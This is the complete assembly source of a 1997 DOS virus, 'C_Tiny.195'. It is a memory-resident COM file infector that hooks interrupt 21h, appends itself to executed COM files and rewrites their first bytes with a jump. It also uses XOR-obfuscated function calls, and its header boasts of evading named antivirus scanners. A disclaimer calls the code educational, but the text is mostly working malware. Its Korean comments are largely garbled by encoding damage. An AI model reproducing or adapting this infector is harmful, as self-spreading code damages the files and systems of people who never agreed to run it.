;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                                              \\\\\\\  \       \  \
;          C_Tiny.195                         \          \     \   \
;                                             \           \   \    \   98/03
;                                             \            \ \     \
;                                              \\\\\\\      \      \\\\\\\ #03
;
; Virus Name : C_Tiny.195
; Author     : Osiris
; Origin     : Corea
; Date       : 1997/12/08
;
; Type : Memory resident COM
;
; !****************************************************************************!
; *                                                                            *
; * w !                                                                     *
; *    e aa a šaa. aBⷥ ae awAᴡea.      *
; *    Abae  aša Ae e AA Ёᕡ i  g   *
; *    ea. ew aa Зa aa !                                       *
; *                                                                            *
; * Warning !                                                                  *
; *    This is a VIRUS source code. This source code is provieded educational  *
; *    purpose. The author is not responsible for any damage caused by this c  *
; *    ode. Don't modify or execute it !                                       *
; *                                                                            *
; !****************************************************************************!
;
; eee w aa a B aA wea. (0020:0000)
; aa w  wbA Aa a ᴡ aa. e wbA 0  a
; ae t wA ae aae wA w a gea.
; a, COM ae qqǡa qq ae a   'M'  a ea
;
; AVP,DSAV,F-PROT,SCAN,TBAV A e eA gea. e, F-PROT wAe
; e Ea. aqAe eA gi a.
;
; a B AiA w ae aae aa a ba ea.
;
; bⷥ w aa AbA | Aeⷥ ww aB 
; aA w ae aaa.
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

            .MODEL  TINY
            .CODE
            .286

 C_Tiny:
            DB    0E8h,00,00            ;
            pop   si                    ; aa b a
            sub   si,0003               ; SI = aa b

            push  si                    ; w
            xor   di,DI                 ;
            mov   ds,DI
            mov   cx, offset End_Memory ; aa  eq a

 Check_IVT_Zero:
            cmp   byte ptr [DI+200h],0  ; a aa 0  aea.
            jnz   Restore_COM_Head      ; e  t a 0  a we
            inc   DI                    ; wA w a gea
            loop  Check_IVT_Zero        ;

 Copy_Vir_IVT:
            mov   ax,0020h              ;
            mov   es,ax                 ;
            mov   cx, offset End_Virus  ; aa 
            xor   di,di                 ; a i  (0020:0000h)
            db    2Eh
            repz  movsb                 ; a !

            mov   si, 0084h             ; Int 21h t 苡
            mov   di, offset Jmp_Org_Int21 + 1
            push  si
            movsw
            movsw

            pop   si                    ;
            cli                         ; Int 21h a
            mov   word ptr [SI], offset NewInt21
            mov   word ptr [SI+2], 0020h
            sti

 Restore_COM_Head:
            push  cs                    ; cs=ds=es
            pop   ds
            push  cs
            pop   es
            pop   si                    ; SI 
            add   si, offset OldCOMHead ; COM |  e
            mov   di,101h               ; COM | 
            dec   di                    ; DI = 100h
            push  di                    ; i  w
            movsw                       ; 4 aa 
            movsw                       ;
            ret                         ; CS:100h  

 OldCOMHead db    90h,90h,0CDh,20h      ;  COM |
            db    'C_Tiny.B'            ; aa q

 Set_Pnt:
            mov   ah,42h                ; ͡
            xor   cx,cx
            xor   dx,dx
            int   21h
            ret

 call_Int21:
            xor   ah,0F0h               ;
            int   21h                   ;
            ret

 NewInt21:
            pusha                       ; 286 + A 
            push  ds
            push  es

            xchg  ah,al
            cmp   al, 4Bh               ; a Зa ?
            jnz   Error

            mov   ax, (3D02h XOR 0F000h) ; a i
            call  call_Int21
            jc    Error                 ; i A ?

            xchg  ax,bx                 ; BX = aЅi

            push  cs                    ; Aaa ɷ
            pop   ds
            push  cs
            pop   es

            mov   ah, (3fh XOR 0F0h)    ; a 
            mov   cx, 4                 ; aa
            mov   dx, offset OldCOMHead ;  
            call  call_Int21

            cmp   byte ptr OldCOMHead, 'M' ; qqAa / EXE aa ?
            jz    Close

            mov   al,2                  ; a {a 
            call  Set_Pnt

            mov   word ptr Jump_Code, 0E94Dh ; ia + at

            sub   ax,0004               ; at e
            mov   word ptr Jump_Code + 2, ax ;

            mov   ah, (40h XOR 0F0h)    ; aa a
            mov   cx, offset End_Virus  ; aa 
            xor   dx,dx                 ;  aU
            call  call_Int21

            xor   al,al                 ; a qa 
            call  Set_Pnt

            mov   ah, (40h XOR 0F0h)    ; | a
            mov   cx, 4                 ; aa 
            mov   dx, offset Jump_Code  ; aU
            call  call_Int21

 Close:
            mov   ah, (3Eh XOR 0F0h)    ; a h
            call  call_Int21
 Error:
            pop   es
            pop   ds
            popa
 Jmp_Org_Int21:
            db    0EAh                  ; --> aa aA w
 End_Virus:
            dw    ?,?
 Jump_Code  dw    ?
            db    ?,?

 End_Memory:                            ; AA aa {
            END   C_Tiny

